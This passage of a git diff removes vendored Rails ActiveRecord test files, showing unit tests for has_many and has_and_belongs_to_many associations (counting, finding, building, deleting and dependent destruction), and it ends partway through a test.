-    assert Category.find(1).posts_with_authors_sorted_by_author_id.find_by_title('Welcome to the weblog')
-  end
-
-  def test_counting_on_habtm_association_and_not_array
-    david = Developer.find(1)
-    # Extra parameter just to make sure we aren't falling back to
-    # Array#count in Ruby >=1.8.7, which would raise an ArgumentError
-    assert_nothing_raised { david.projects.count(:all, :conditions => '1=1') }
-  end
-
-  def test_count
-    david = Developer.find(1)
-    assert_equal 2, david.projects.count
-  end
-
-  def test_count_with_counter_sql
-    developer  = DeveloperWithCounterSQL.create(:name => 'tekin')
-    developer.project_ids = [projects(:active_record).id]
-    developer.save
-    developer.reload
-    assert_equal 1, developer.projects.count
-  end
-
-  def test_association_proxy_transaction_method_starts_transaction_in_association_class
-    Post.expects(:transaction)
-    Category.find(:first).posts.transaction do
-      # nothing
-    end
-  end
-
-  def test_caching_of_columns
-    david = Developer.find(1)
-    # clear cache possibly created by other tests
-    david.projects.reset_column_information
-    assert_queries(0) { david.projects.columns; david.projects.columns }
-    # and again to verify that reset_column_information clears the cache correctly
-    david.projects.reset_column_information
-    assert_queries(0) { david.projects.columns; david.projects.columns }
-  end
-
-  def test_include_method_in_has_and_belongs_to_many_association_should_return_true_for_instance_added_with_build
-    project = Project.new
-    developer = project.developers.build
-    assert project.developers.include?(developer)
-  end
-end
diff --git a/vendor/rails/activerecord/test/cases/associations/has_many_associations_test.rb b/vendor/rails/activerecord/test/cases/associations/has_many_associations_test.rb
deleted file mode 100644
index 2f715a46..00000000
--- a/vendor/rails/activerecord/test/cases/associations/has_many_associations_test.rb
+++ /dev/null
@@ -1,1273 +0,0 @@
-require "cases/helper"
-require 'models/developer'
-require 'models/project'
-require 'models/company'
-require 'models/topic'
-require 'models/reply'
-require 'models/category'
-require 'models/post'
-require 'models/author'
-require 'models/comment'
-require 'models/person'
-require 'models/reader'
-require 'models/tagging'
-
-class HasManyAssociationsTest < ActiveRecord::TestCase
-  fixtures :accounts, :categories, :companies, :developers, :projects,
-           :developers_projects, :topics, :authors, :comments, :author_addresses,
-           :people, :posts, :readers, :taggings
-
-  def setup
-    Client.destroyed_client_ids.clear
-  end
-
-  def test_create_by
-    person = Person.create! :first_name => 'tenderlove'
-    post   = Post.find :first
-
-    assert_equal [], person.readers
-    assert_nil person.readers.find_by_post_id(post.id)
-
-    reader = person.readers.create_by_post_id post.id
-
-    assert_equal 1, person.readers.count
-    assert_equal 1, person.readers.length
-    assert_equal post, person.readers.first.post
-    assert_equal person, person.readers.first.person
-  end
-
-  def test_create_by_multi
-    person = Person.create! :first_name => 'tenderlove'
-    post   = Post.find :first
-
-    assert_equal [], person.readers
-
-    reader = person.readers.create_by_post_id_and_skimmer post.id, false
-
-    assert_equal 1, person.readers.count
-    assert_equal 1, person.readers.length
-    assert_equal post, person.readers.first.post
-    assert_equal person, person.readers.first.person
-  end
-
-  def test_find_or_create_by
-    person = Person.create! :first_name => 'tenderlove'
-    post   = Post.find :first
-
-    assert_equal [], person.readers
-    assert_nil person.readers.find_by_post_id(post.id)
-
-    reader = person.readers.find_or_create_by_post_id post.id
-
-    assert_equal 1, person.readers.count
-    assert_equal 1, person.readers.length
-    assert_equal post, person.readers.first.post
-    assert_equal person, person.readers.first.person
-  end
-
-  def test_find_or_create_by_with_additional_parameters
-    post = Post.create! :title => 'test_find_or_create_by_with_additional_parameters', :body => 'this is the body'
-    comment = post.comments.create! :body => 'test comment body', :type => 'test'
-
-    assert_equal comment, post.comments.find_or_create_by_body('test comment body')
-
-    post.comments.find_or_create_by_body(:body => 'other test comment body', :type => 'test')
-    assert_equal 2, post.comments.count
-    assert_equal 2, post.comments.length
-    post.comments.find_or_create_by_body('other other test comment body', :type => 'test')
-    assert_equal 3, post.comments.count
-    assert_equal 3, post.comments.length
-    post.comments.find_or_create_by_body_and_type('3rd test comment body', 'test')
-    assert_equal 4, post.comments.count
-    assert_equal 4, post.comments.length
-  end
-
-  def test_find_or_create_by_with_same_parameters_creates_a_single_record
-    author = Author.first
-    assert_difference "Post.count", +1 do
-      2.times do
-        author.posts.find_or_create_by_body_and_title('one', 'two')
-      end
-    end
-  end
-
-  def test_find_or_create_by_with_block
-    post = Post.create! :title => 'test_find_or_create_by_with_additional_parameters', :body => 'this is the body'
-    comment = post.comments.find_or_create_by_body('other test comment body') { |comment| comment.type = 'test' }
-    assert_equal 'test', comment.type
-  end
-
-  def test_find_or_create
-    person = Person.create! :first_name => 'tenderlove'
-    post   = Post.find :first
-
-    assert_equal [], person.readers
-    assert_nil person.readers.find(:first, :conditions => {
-      :post_id => post.id
-    })
-
-    reader = person.readers.find_or_create :post_id => post.id
-
-    assert_equal 1, person.readers.count
-    assert_equal 1, person.readers.length
-    assert_equal post, person.readers.first.post
-    assert_equal person, person.readers.first.person
-  end
-
-
-  def force_signal37_to_load_all_clients_of_firm
-    companies(:first_firm).clients_of_firm.each {|f| }
-  end
-
-  def test_counting_with_counter_sql
-    assert_equal 2, Firm.find(:first).clients.count
-  end
-
-  def test_counting
-    assert_equal 2, Firm.find(:first).plain_clients.count
-  end
-
-  def test_counting_with_empty_hash_conditions
-    assert_equal 2, Firm.find(:first).plain_clients.count(:conditions => {})
-  end
-
-  def test_counting_with_single_conditions
-    assert_equal 1, Firm.find(:first).plain_clients.count(:conditions => ['name=?', "Microsoft"])
-  end
-
-  def test_counting_with_single_hash
-    assert_equal 1, Firm.find(:first).plain_clients.count(:conditions => {:name => "Microsoft"})
-  end
-
-  def test_counting_with_column_name_and_hash
-    assert_equal 2, Firm.find(:first).plain_clients.count(:name)
-  end
-
-  def test_counting_with_association_limit
-    firm = companies(:first_firm)
-    assert_equal firm.limited_clients.length, firm.limited_clients.size
-    assert_equal firm.limited_clients.length, firm.limited_clients.count
-  end
-
-  def test_finding
-    assert_equal 2, Firm.find(:first).clients.length
-  end
-
-  def test_find_with_blank_conditions
-    [[], {}, nil, ""].each do |blank|
-      assert_equal 2, Firm.find(:first).clients.find(:all, :conditions => blank).size
-    end
-  end
-
-  def test_find_many_with_merged_options
-    assert_equal 1, companies(:first_firm).limited_clients.size
-    assert_equal 1, companies(:first_firm).limited_clients.find(:all).size
-    assert_equal 2, companies(:first_firm).limited_clients.find(:all, :limit => nil).size
-  end
-
-  def test_dynamic_find_last_without_specified_order
-    assert_equal companies(:second_client), companies(:first_firm).unsorted_clients.find_last_by_type('Client')
-  end
-
-  def test_dynamic_find_should_respect_association_order
-    assert_equal companies(:second_client), companies(:first_firm).clients_sorted_desc.find(:first, :conditions => "type = 'Client'")
-    assert_equal companies(:second_client), companies(:first_firm).clients_sorted_desc.find_by_type('Client')
-  end
-
-  def test_dynamic_find_order_should_override_association_order
-    assert_equal companies(:first_client), companies(:first_firm).clients_sorted_desc.find(:first, :conditions => "type = 'Client'", :order => 'id')
-    assert_equal companies(:first_client), companies(:first_firm).clients_sorted_desc.find_by_type('Client', :order => 'id')
-  end
-
-  def test_dynamic_find_all_should_respect_association_order
-    assert_equal [companies(:second_client), companies(:first_client)], companies(:first_firm).clients_sorted_desc.find(:all, :conditions => "type = 'Client'")
-    assert_equal [companies(:second_client), companies(:first_client)], companies(:first_firm).clients_sorted_desc.find_all_by_type('Client')
-  end
-
-  def test_dynamic_find_all_order_should_override_association_order
-    assert_equal [companies(:first_client), companies(:second_client)], companies(:first_firm).clients_sorted_desc.find(:all, :conditions => "type = 'Client'", :order => 'id')
-    assert_equal [companies(:first_client), companies(:second_client)], companies(:first_firm).clients_sorted_desc.find_all_by_type('Client', :order => 'id')
-  end
-
-  def test_dynamic_find_all_should_respect_association_limit
-    assert_equal 1, companies(:first_firm).limited_clients.find(:all, :conditions => "type = 'Client'").length
-    assert_equal 1, companies(:first_firm).limited_clients.find_all_by_type('Client').length
-  end
-
-  def test_dynamic_find_all_limit_should_override_association_limit
-    assert_equal 2, companies(:first_firm).limited_clients.find(:all, :conditions => "type = 'Client'", :limit => 9_000).length
-    assert_equal 2, companies(:first_firm).limited_clients.find_all_by_type('Client', :limit => 9_000).length
-  end
-
-  def test_dynamic_find_all_should_respect_readonly_access
-    companies(:first_firm).readonly_clients.find(:all).each { |c| assert_raise(ActiveRecord::ReadOnlyRecord) { c.save!  } }
-    companies(:first_firm).readonly_clients.find(:all).each { |c| assert c.readonly? }
-  end
-
-  def test_cant_save_has_many_readonly_association
-    authors(:david).readonly_comments.each { |c| assert_raise(ActiveRecord::ReadOnlyRecord) { c.save! } }
-    authors(:david).readonly_comments.each { |c| assert c.readonly? }
-  end
-
-  def test_triple_equality
-    assert !(Array === Firm.find(:first).clients)
-    assert Firm.find(:first).clients === Array
-  end
-
-  def test_finding_default_orders
-    assert_equal "Summit", Firm.find(:first).clients.first.name
-  end
-
-  def test_finding_with_different_class_name_and_order
-    assert_equal "Microsoft", Firm.find(:first).clients_sorted_desc.first.name
-  end
-
-  def test_finding_with_foreign_key
-    assert_equal "Microsoft", Firm.find(:first).clients_of_firm.first.name
-  end
-
-  def test_finding_with_condition
-    assert_equal "Microsoft", Firm.find(:first).clients_like_ms.first.name
-  end
-
-  def test_finding_with_condition_hash
-    assert_equal "Microsoft", Firm.find(:first).clients_like_ms_with_hash_conditions.first.name
-  end
-
-  def test_finding_using_primary_key
-    assert_equal "Summit", Firm.find(:first).clients_using_primary_key.first.name
-  end
-
-  def test_finding_using_sql
-    firm = Firm.find(:first)
-    first_client = firm.clients_using_sql.first
-    assert_not_nil first_client
-    assert_equal "Microsoft", first_client.name
-    assert_equal 1, firm.clients_using_sql.size
-    assert_equal 1, Firm.find(:first).clients_using_sql.size
-  end
-
-  def test_counting_using_sql
-    assert_equal 1, Firm.find(:first).clients_using_counter_sql.size
-    assert Firm.find(:first).clients_using_counter_sql.any?
-    assert_equal 0, Firm.find(:first).clients_using_zero_counter_sql.size
-    assert !Firm.find(:first).clients_using_zero_counter_sql.any?
-  end
-
-  def test_counting_non_existant_items_using_sql
-    assert_equal 0, Firm.find(:first).no_clients_using_counter_sql.size
-  end
-
-  def test_belongs_to_sanity
-    c = Client.new
-    assert_nil c.firm
-
-    if c.firm
-      assert false, "belongs_to failed if check"
-    end
-
-    unless c.firm
-    else
-      assert false,  "belongs_to failed unless check"
-    end
-  end
-
-  def test_find_ids
-    firm = Firm.find(:first)
-
-    assert_raise(ActiveRecord::RecordNotFound) { firm.clients.find }
-
-    client = firm.clients.find(2)
-    assert_kind_of Client, client
-
-    client_ary = firm.clients.find([2])
-    assert_kind_of Array, client_ary
-    assert_equal client, client_ary.first
-
-    client_ary = firm.clients.find(2, 3)
-    assert_kind_of Array, client_ary
-    assert_equal 2, client_ary.size
-    assert_equal client, client_ary.first
-
-    assert_raise(ActiveRecord::RecordNotFound) { firm.clients.find(2, 99) }
-  end
-
-  def test_find_string_ids_when_using_finder_sql
-    firm = Firm.find(:first)
-
-    client = firm.clients_using_finder_sql.find("2")
-    assert_kind_of Client, client
-
-    client_ary = firm.clients_using_finder_sql.find(["2"])
-    assert_kind_of Array, client_ary
-    assert_equal client, client_ary.first
-
-    client_ary = firm.clients_using_finder_sql.find("2", "3")
-    assert_kind_of Array, client_ary
-    assert_equal 2, client_ary.size
-    assert client_ary.include?(client)
-  end
-
-  def test_find_all
-    firm = Firm.find(:first)
-    assert_equal 2, firm.clients.find(:all, :conditions => "#{QUOTED_TYPE} = 'Client'").length
-    assert_equal 1, firm.clients.find(:all, :conditions => "name = 'Summit'").length
-  end
-
-  def test_find_each
-    firm = companies(:first_firm)
-
-    assert ! firm.clients.loaded?
-
-    assert_queries(3) do
-      firm.clients.find_each(:batch_size => 1) {|c| assert_equal firm.id, c.firm_id }
-    end
-
-    assert ! firm.clients.loaded?
-  end
-
-  def test_find_each_with_conditions
-    firm = companies(:first_firm)
-
-    assert_queries(2) do
-      firm.clients.find_each(:batch_size => 1, :conditions => {:name => "Microsoft"}) do |c|
-        assert_equal firm.id, c.firm_id
-        assert_equal "Microsoft", c.name
-      end
-    end
-
-    assert ! firm.clients.loaded?
-  end
-
-  def test_find_in_batches
-    firm = companies(:first_firm)
-
-    assert ! firm.clients.loaded?
-
-    assert_queries(2) do
-      firm.clients.find_in_batches(:batch_size => 2) do |clients|
-        clients.each {|c| assert_equal firm.id, c.firm_id }
-      end
-    end
-
-    assert ! firm.clients.loaded?
-  end
-
-  def test_find_all_sanitized
-    firm = Firm.find(:first)
-    summit = firm.clients.find(:all, :conditions => "name = 'Summit'")
-    assert_equal summit, firm.clients.find(:all, :conditions => ["name = ?", "Summit"])
-    assert_equal summit, firm.clients.find(:all, :conditions => ["name = :name", { :name => "Summit" }])
-  end
-
-  def test_find_first
-    firm = Firm.find(:first)
-    client2 = Client.find(2)
-    assert_equal firm.clients.first, firm.clients.find(:first)
-    assert_equal client2, firm.clients.find(:first, :conditions => "#{QUOTED_TYPE} = 'Client'")
-  end
-
-  def test_find_first_sanitized
-    firm = Firm.find(:first)
-    client2 = Client.find(2)
-    assert_equal client2, firm.clients.find(:first, :conditions => ["#{QUOTED_TYPE} = ?", 'Client'])
-    assert_equal client2, firm.clients.find(:first, :conditions => ["#{QUOTED_TYPE} = :type", { :type => 'Client' }])
-  end
-
-  def test_find_all_with_include_and_conditions
-    assert_nothing_raised do
-      Developer.find(:all, :joins => :audit_logs, :conditions => {'audit_logs.message' => nil, :name => 'Smith'})
-    end
-  end
-
-  def test_find_in_collection
-    assert_equal Client.find(2).name, companies(:first_firm).clients.find(2).name
-    assert_raise(ActiveRecord::RecordNotFound) { companies(:first_firm).clients.find(6) }
-  end
-
-  def test_find_grouped
-    all_clients_of_firm1 = Client.find(:all, :conditions => "firm_id = 1")
-    grouped_clients_of_firm1 = Client.find(:all, :conditions => "firm_id = 1", :group => "firm_id", :select => 'firm_id, count(id) as clients_count')
-    assert_equal 2, all_clients_of_firm1.size
-    assert_equal 1, grouped_clients_of_firm1.size
-  end
-
-  def test_find_scoped_grouped
-    assert_equal 1, companies(:first_firm).clients_grouped_by_firm_id.size
-    assert_equal 1, companies(:first_firm).clients_grouped_by_firm_id.length
-    assert_equal 2, companies(:first_firm).clients_grouped_by_name.size
-    assert_equal 2, companies(:first_firm).clients_grouped_by_name.length
-  end
-
-  def test_find_scoped_grouped_having
-    assert_equal 1, authors(:david).popular_grouped_posts.length
-    assert_equal 0, authors(:mary).popular_grouped_posts.length
-  end
-
-  def test_adding
-    force_signal37_to_load_all_clients_of_firm
-    natural = Client.new("name" => "Natural Company")
-    companies(:first_firm).clients_of_firm << natural
-    assert_equal 2, companies(:first_firm).clients_of_firm.size # checking via the collection
-    assert_equal 2, companies(:first_firm).clients_of_firm(true).size # checking using the db
-    assert_equal natural, companies(:first_firm).clients_of_firm.last
-  end
-
-  def test_adding_using_create
-    first_firm = companies(:first_firm)
-    assert_equal 2, first_firm.plain_clients.size
-    natural = first_firm.plain_clients.create(:name => "Natural Company")
-    assert_equal 3, first_firm.plain_clients.length
-    assert_equal 3, first_firm.plain_clients.size
-  end
-
-  def test_create_with_bang_on_has_many_when_parent_is_new_raises
-    assert_raise(ActiveRecord::RecordNotSaved) do
-      firm = Firm.new
-      firm.plain_clients.create! :name=>"Whoever"
-    end
-  end
-
-  def test_regular_create_on_has_many_when_parent_is_new_raises
-    assert_raise(ActiveRecord::RecordNotSaved) do
-      firm = Firm.new
-      firm.plain_clients.create :name=>"Whoever"
-    end
-  end
-
-  def test_create_with_bang_on_has_many_raises_when_record_not_saved
-    assert_raise(ActiveRecord::RecordInvalid) do
-      firm = Firm.find(:first)
-      firm.plain_clients.create!
-    end
-  end
-
-  def test_create_with_bang_on_habtm_when_parent_is_new_raises
-    assert_raise(ActiveRecord::RecordNotSaved) do
-      Developer.new("name" => "Aredridel").projects.create!
-    end
-  end
-
-  def test_adding_a_mismatch_class
-    assert_raise(ActiveRecord::AssociationTypeMismatch) { companies(:first_firm).clients_of_firm << nil }
-    assert_raise(ActiveRecord::AssociationTypeMismatch) { companies(:first_firm).clients_of_firm << 1 }
-    assert_raise(ActiveRecord::AssociationTypeMismatch) { companies(:first_firm).clients_of_firm << Topic.find(1) }
-  end
-
-  def test_adding_a_collection
-    force_signal37_to_load_all_clients_of_firm
-    companies(:first_firm).clients_of_firm.concat([Client.new("name" => "Natural Company"), Client.new("name" => "Apple")])
-    assert_equal 3, companies(:first_firm).clients_of_firm.size
-    assert_equal 3, companies(:first_firm).clients_of_firm(true).size
-  end
-
-  def test_build
-    company = companies(:first_firm)
-    new_client = assert_no_queries { company.clients_of_firm.build("name" => "Another Client") }
-    assert !company.clients_of_firm.loaded?
-
-    assert_equal "Another Client", new_client.name
-    assert new_client.new_record?
-    assert_equal new_client, company.clients_of_firm.last
-  end
-
-  def test_collection_size_after_building
-    company = companies(:first_firm)  # company already has one client
-    company.clients_of_firm.build("name" => "Another Client")
-    company.clients_of_firm.build("name" => "Yet Another Client")
-    assert_equal 3, company.clients_of_firm.size
-  end
-
-  def test_collection_size_twice_for_regressions
-    post = posts(:thinking)
-    assert_equal 0, post.readers.size
-    # This test needs a post that has no readers, we assert it to ensure it holds,
-    # but need to reload the post because the very call to #size hides the bug.
-    post.reload
-    post.readers.build
-    size1 = post.readers.size
-    size2 = post.readers.size
-    assert_equal size1, size2
-  end
-
-  def test_build_many
-    company = companies(:first_firm)
-    new_clients = assert_no_queries { company.clients_of_firm.build([{"name" => "Another Client"}, {"name" => "Another Client II"}]) }
-    assert_equal 2, new_clients.size
-  end
-
-  def test_build_followed_by_save_does_not_load_target
-    new_client = companies(:first_firm).clients_of_firm.build("name" => "Another Client")
-    assert companies(:first_firm).save
-    assert !companies(:first_firm).clients_of_firm.loaded?
-  end
-
-  def test_build_without_loading_association
-    first_topic = topics(:first)
-    Reply.column_names
-
-    assert_equal 1, first_topic.replies.length
-
-    assert_no_queries do
-      first_topic.replies.build(:title => "Not saved", :content => "Superstars")
-      assert_equal 2, first_topic.replies.size
-    end
-
-    assert_equal 2, first_topic.replies.to_ary.size
-  end
-
-  def test_build_via_block
-    company = companies(:first_firm)
-    new_client = assert_no_queries { company.clients_of_firm.build {|client| client.name = "Another Client" } }
-    assert !company.clients_of_firm.loaded?
-
-    assert_equal "Another Client", new_client.name
-    assert new_client.new_record?
-    assert_equal new_client, company.clients_of_firm.last
-  end
-
-  def test_build_many_via_block
-    company = companies(:first_firm)
-    new_clients = assert_no_queries do
-      company.clients_of_firm.build([{"name" => "Another Client"}, {"name" => "Another Client II"}]) do |client|
-        client.name = "changed"
-      end
-    end
-
-    assert_equal 2, new_clients.size
-    assert_equal "changed", new_clients.first.name
-    assert_equal "changed", new_clients.last.name
-  end
-
-  def test_create_without_loading_association
-    first_firm  = companies(:first_firm)
-    Firm.column_names
-    Client.column_names
-
-    assert_equal 1, first_firm.clients_of_firm.size
-    first_firm.clients_of_firm.reset
-
-    assert_queries(1) do
-      first_firm.clients_of_firm.create(:name => "Superstars")
-    end
-
-    assert_equal 2, first_firm.clients_of_firm.size
-  end
-
-  def test_create
-    force_signal37_to_load_all_clients_of_firm
-    new_client = companies(:first_firm).clients_of_firm.create("name" => "Another Client")
-    assert !new_client.new_record?
-    assert_equal new_client, companies(:first_firm).clients_of_firm.last
-    assert_equal new_client, companies(:first_firm).clients_of_firm(true).last
-  end
-
-  def test_create_many
-    companies(:first_firm).clients_of_firm.create([{"name" => "Another Client"}, {"name" => "Another Client II"}])
-    assert_equal 3, companies(:first_firm).clients_of_firm(true).size
-  end
-
-  def test_create_followed_by_save_does_not_load_target
-    new_client = companies(:first_firm).clients_of_firm.create("name" => "Another Client")
-    assert companies(:first_firm).save
-    assert !companies(:first_firm).clients_of_firm.loaded?
-  end
-
-  def test_find_or_initialize
-    the_client = companies(:first_firm).clients.find_or_initialize_by_name("Yet another client")
-    assert_equal companies(:first_firm).id, the_client.firm_id
-    assert_equal "Yet another client", the_client.name
-    assert the_client.new_record?
-  end
-
-  def test_find_or_create_updates_size
-    number_of_clients = companies(:first_firm).clients.size
-    the_client = companies(:first_firm).clients.find_or_create_by_name("Yet another client")
-    assert_equal number_of_clients + 1, companies(:first_firm, :reload).clients.size
-    assert_equal the_client, companies(:first_firm).clients.find_or_create_by_name("Yet another client")
-    assert_equal number_of_clients + 1, companies(:first_firm, :reload).clients.size
-  end
-
-  def test_deleting
-    force_signal37_to_load_all_clients_of_firm
-    companies(:first_firm).clients_of_firm.delete(companies(:first_firm).clients_of_firm.first)
-    assert_equal 0, companies(:first_firm).clients_of_firm.size
-    assert_equal 0, companies(:first_firm).clients_of_firm(true).size
-  end
-
-  def test_deleting_before_save
-    new_firm = Firm.new("name" => "A New Firm, Inc.")
-    new_client = new_firm.clients_of_firm.build("name" => "Another Client")
-    assert_equal 1, new_firm.clients_of_firm.size
-    new_firm.clients_of_firm.delete(new_client)
-    assert_equal 0, new_firm.clients_of_firm.size
-  end
-
-  def test_deleting_updates_counter_cache
-    topic = Topic.first
-    assert_equal topic.replies.to_a.size, topic.replies_count
-
-    topic.replies.delete(topic.replies.first)
-    topic.reload
-    assert_equal topic.replies.to_a.size, topic.replies_count
-  end
-
-  def test_deleting_updates_counter_cache_without_dependent_destroy
-    post = posts(:welcome)
-
-    assert_difference "post.reload.taggings_count", -1 do
-      post.taggings.delete(post.taggings.first)
-    end
-  end
-
-  def test_deleting_a_collection
-    force_signal37_to_load_all_clients_of_firm
-    companies(:first_firm).clients_of_firm.create("name" => "Another Client")
-    assert_equal 2, companies(:first_firm).clients_of_firm.size
-    companies(:first_firm).clients_of_firm.delete([companies(:first_firm).clients_of_firm[0], companies(:first_firm).clients_of_firm[1]])
-    assert_equal 0, companies(:first_firm).clients_of_firm.size
-    assert_equal 0, companies(:first_firm).clients_of_firm(true).size
-  end
-
-  def test_delete_all
-    force_signal37_to_load_all_clients_of_firm
-    companies(:first_firm).clients_of_firm.create("name" => "Another Client")
-    assert_equal 2, companies(:first_firm).clients_of_firm.size
-    companies(:first_firm).clients_of_firm.delete_all
-    assert_equal 0, companies(:first_firm).clients_of_firm.size
-    assert_equal 0, companies(:first_firm).clients_of_firm(true).size
-  end
-
-  def test_delete_all_with_not_yet_loaded_association_collection
-    force_signal37_to_load_all_clients_of_firm
-    companies(:first_firm).clients_of_firm.create("name" => "Another Client")
-    assert_equal 2, companies(:first_firm).clients_of_firm.size
-    companies(:first_firm).clients_of_firm.reset
-    companies(:first_firm).clients_of_firm.delete_all
-    assert_equal 0, companies(:first_firm).clients_of_firm.size
-    assert_equal 0, companies(:first_firm).clients_of_firm(true).size
-  end
-
-  def test_clearing_an_association_collection
-    firm = companies(:first_firm)
-    client_id = firm.clients_of_firm.first.id
-    assert_equal 1, firm.clients_of_firm.size
-
-    firm.clients_of_firm.clear
-
-    assert_equal 0, firm.clients_of_firm.size
-    assert_equal 0, firm.clients_of_firm(true).size
-    assert_equal [], Client.destroyed_client_ids[firm.id]
-
-    # Should not be destroyed since the association is not dependent.
-    assert_nothing_raised do
-      assert Client.find(client_id).firm.nil?
-    end
-  end
-
-  def test_clearing_updates_counter_cache
-    topic = Topic.first
-
-    topic.replies.clear
-    topic.reload
-    assert_equal 0, topic.replies_count
-  end
-
-  def test_clearing_a_dependent_association_collection
-    firm = companies(:first_firm)
-    client_id = firm.dependent_clients_of_firm.first.id
-    assert_equal 1, firm.dependent_clients_of_firm.size
-
-    # :dependent means destroy is called on each client
-    firm.dependent_clients_of_firm.clear
-
-    assert_equal 0, firm.dependent_clients_of_firm.size
-    assert_equal 0, firm.dependent_clients_of_firm(true).size
-    assert_equal [client_id], Client.destroyed_client_ids[firm.id]
-
-    # Should be destroyed since the association is dependent.
-    assert Client.find_by_id(client_id).nil?
-  end
-
-  def test_clearing_an_exclusively_dependent_association_collection
-    firm = companies(:first_firm)
-    client_id = firm.exclusively_dependent_clients_of_firm.first.id
-    assert_equal 1, firm.exclusively_dependent_clients_of_firm.size
-
-    assert_equal [], Client.destroyed_client_ids[firm.id]
-
-    # :exclusively_dependent means each client is deleted directly from
-    # the database without looping through them calling destroy.
-    firm.exclusively_dependent_clients_of_firm.clear
-
-    assert_equal 0, firm.exclusively_dependent_clients_of_firm.size
-    assert_equal 0, firm.exclusively_dependent_clients_of_firm(true).size
-    # no destroy-filters should have been called
-    assert_equal [], Client.destroyed_client_ids[firm.id]
-
-    # Should be destroyed since the association is exclusively dependent.
-    assert Client.find_by_id(client_id).nil?
-  end
-
-  def test_dependent_association_respects_optional_conditions_on_delete
-    firm = companies(:odegy)
-    Client.create(:client_of => firm.id, :name => "BigShot Inc.")
-    Client.create(:client_of => firm.id, :name => "SmallTime Inc.")
-    # only one of two clients is included in the association due to the :conditions key
-    assert_equal 2, Client.find_all_by_client_of(firm.id).size
-    assert_equal 1, firm.dependent_conditional_clients_of_firm.size
-    firm.destroy
-    # only the correctly associated client should have been deleted
-    assert_equal 1, Client.find_all_by_client_of(firm.id).size
-  end
-
-  def test_dependent_association_respects_optional_sanitized_conditions_on_delete
-    firm = companies(:odegy)
-    Client.create(:client_of => firm.id, :name => "BigShot Inc.")
-    Client.create(:client_of => firm.id, :name => "SmallTime Inc.")
-    # only one of two clients is included in the association due to the :conditions key
-    assert_equal 2, Client.find_all_by_client_of(firm.id).size
-    assert_equal 1, firm.dependent_sanitized_conditional_clients_of_firm.size
-    firm.destroy
-    # only the correctly associated client should have been deleted
-    assert_equal 1, Client.find_all_by_client_of(firm.id).size
-  end
-
-  def test_dependent_association_respects_optional_hash_conditions_on_delete
-    firm = companies(:odegy)
-    Client.create(:client_of => firm.id, :name => "BigShot Inc.")
-    Client.create(:client_of => firm.id, :name => "SmallTime Inc.")
-    # only one of two clients is included in the association due to the :conditions key
-    assert_equal 2, Client.find_all_by_client_of(firm.id).size
-    assert_equal 1, firm.dependent_sanitized_conditional_clients_of_firm.size
-    firm.destroy
-    # only the correctly associated client should have been deleted
-    assert_equal 1, Client.find_all_by_client_of(firm.id).size
-  end
-
-  def test_delete_all_association_with_primary_key_deletes_correct_records
-    firm = Firm.find(:first)
-    # break the vanilla firm_id foreign key
-    assert_equal 2, firm.clients.count
-    firm.clients.first.update_attribute(:firm_id, nil)
-    assert_equal 1, firm.clients(true).count
-    assert_equal 1, firm.clients_using_primary_key_with_delete_all.count
-    old_record = firm.clients_using_primary_key_with_delete_all.first
-    firm = Firm.find(:first)
-    firm.destroy
-    assert Client.find_by_id(old_record.id).nil?
-  end
-
-  def test_creation_respects_hash_condition
-    ms_client = companies(:first_firm).clients_like_ms_with_hash_conditions.build
-
-    assert        ms_client.save
-    assert_equal  'Microsoft', ms_client.name
-
-    another_ms_client = companies(:first_firm).clients_like_ms_with_hash_conditions.create
-
-    assert        !another_ms_client.new_record?
-    assert_equal  'Microsoft', another_ms_client.name
-  end
-
-  def test_dependent_delete_and_destroy_with_belongs_to
-    author_address = author_addresses(:david_address)
-    assert_equal [], AuthorAddress.destroyed_author_address_ids[authors(:david).id]
-
-    assert_difference "AuthorAddress.count", -2 do
-      authors(:david).destroy
-    end
-
-    assert_equal nil, AuthorAddress.find_by_id(authors(:david).author_address_id)
-    assert_equal nil, AuthorAddress.find_by_id(authors(:david).author_address_extra_id)
-  end
-
-  def test_invalid_belongs_to_dependent_option_raises_exception
-    assert_raise ArgumentError do
-      Author.belongs_to :special_author_address, :dependent => :nullify
-    end
-  end
-
-  def test_clearing_without_initial_access
-    firm = companies(:first_firm)
-
-    firm.clients_of_firm.clear
-
-    assert_equal 0, firm.clients_of_firm.size
-    assert_equal 0, firm.clients_of_firm(true).size
-  end
-
-  def test_deleting_a_item_which_is_not_in_the_collection
-    force_signal37_to_load_all_clients_of_firm
-    summit = Client.find_by_name('Summit')
-    companies(:first_firm).clients_of_firm.delete(summit)
-    assert_equal 1, companies(:first_firm).clients_of_firm.size
-    assert_equal 1, companies(:first_firm).clients_of_firm(true).size
-    assert_equal 2, summit.client_of
-  end
-
-  def test_deleting_type_mismatch
-    david = Developer.find(1)
-    david.projects.reload
-    assert_raise(ActiveRecord::AssociationTypeMismatch) { david.projects.delete(1) }
-  end
-
-  def test_deleting_self_type_mismatch
-    david = Developer.find(1)
-    david.projects.reload
-    assert_raise(ActiveRecord::AssociationTypeMismatch) { david.projects.delete(Project.find(1).developers) }
-  end
-
-  def test_destroying
-    force_signal37_to_load_all_clients_of_firm
-
-    assert_difference "Client.count", -1 do
-      companies(:first_firm).clients_of_firm.destroy(companies(:first_firm).clients_of_firm.first)
-    end
-
-    assert_equal 0, companies(:first_firm).reload.clients_of_firm.size
-    assert_equal 0, companies(:first_firm).clients_of_firm(true).size
-  end
-
-  def test_destroying_by_fixnum_id
-    force_signal37_to_load_all_clients_of_firm
-
-    assert_difference "Client.count", -1 do
-      companies(:first_firm).clients_of_firm.destroy(companies(:first_firm).clients_of_firm.first.id)
-    end
-
-    assert_equal 0, companies(:first_firm).reload.clients_of_firm.size
-    assert_equal 0, companies(:first_firm).clients_of_firm(true).size
-  end
-
-  def test_destroying_by_string_id
-    force_signal37_to_load_all_clients_of_firm
-
-    assert_difference "Client.count", -1 do
-      companies(:first_firm).clients_of_firm.destroy(companies(:first_firm).clients_of_firm.first.id.to_s)
-    end
-
-    assert_equal 0, companies(:first_firm).reload.clients_of_firm.size
-    assert_equal 0, companies(:first_firm).clients_of_firm(true).size
-  end
-
-  def test_destroying_a_collection
-    force_signal37_to_load_all_clients_of_firm
-    companies(:first_firm).clients_of_firm.create("name" => "Another Client")
-    assert_equal 2, companies(:first_firm).clients_of_firm.size
-
-    assert_difference "Client.count", -2 do
-      companies(:first_firm).clients_of_firm.destroy([companies(:first_firm).clients_of_firm[0], companies(:first_firm).clients_of_firm[1]])
-    end
-
-    assert_equal 0, companies(:first_firm).reload.clients_of_firm.size
-    assert_equal 0, companies(:first_firm).clients_of_firm(true).size
-  end
-
-  def test_destroy_all
-    force_signal37_to_load_all_clients_of_firm
